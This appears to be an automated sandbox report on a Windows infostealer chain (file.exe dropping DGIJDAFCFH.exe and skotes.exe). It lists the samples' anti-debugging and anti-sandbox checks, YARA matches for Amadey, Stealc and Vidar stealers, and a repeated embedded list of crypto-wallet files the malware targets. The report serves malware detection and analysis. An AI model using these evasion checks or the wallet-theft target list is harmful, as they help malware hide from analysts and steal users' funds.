Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\Documents\DGIJDAFCFH.exe

Code function: 14_2_04990482 rdtsc

14_2_04990482

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C995FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C995FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6C933480

Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Code function: 14_2_0031652B mov eax, dword ptr fs:[00000030h]	14_2_0031652B
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Code function: 14_2_0031A302 mov eax, dword ptr fs:[00000030h]	14_2_0031A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00B4A302 mov eax, dword ptr fs:[00000030h]	15_2_00B4A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00B4652B mov eax, dword ptr fs:[00000030h]	15_2_00B4652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00B4A302 mov eax, dword ptr fs:[00000030h]	16_2_00B4A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00B4652B mov eax, dword ptr fs:[00000030h]	16_2_00B4652B

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6C96B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C96B1F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CB1AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 3660, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\DGIJDAFCFH.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\DGIJDAFCFH.exe "C:\Users\user\Documents\DGIJDAFCFH.exe"	Jump to behavior
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB64760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6CB64760

Source: file.exe, file.exe, 00000000.00000002.2736781628.0000000000C89000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ^Program Manager
Source: DGIJDAFCFH.exe, 0000000E.00000002.2727768475.000000000051A000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000F.00000002.2751830128.0000000000D4A000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000010.00000002.2752148972.0000000000D4A000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: o#Y1<Program Manager
Source: skotes.exe, skotes.exe, 00000010.00000002.2752148972.0000000000D4A000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000011.00000002.3374947289.0000000000D4A000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: #Y1<Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C96B341 cpuid

0_2_6C96B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9335A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C9335A0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA68390 NSS_GetVersion,

0_2_6CA68390

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 15.2.skotes.exe.b10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.skotes.exe.b10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.skotes.exe.b10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.DGIJDAFCFH.exe.2e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2751139523.0000000000B11000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2751383878.0000000000B11000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3374124442.0000000000B11000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2727214816.00000000002E1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2736377583.00000000008C1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2737576972.000000000107E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2138686515.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3660, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3660, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2737576972.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2737576972.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2737576972.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2737576972.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2737576972.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2737576972.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2737576972.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
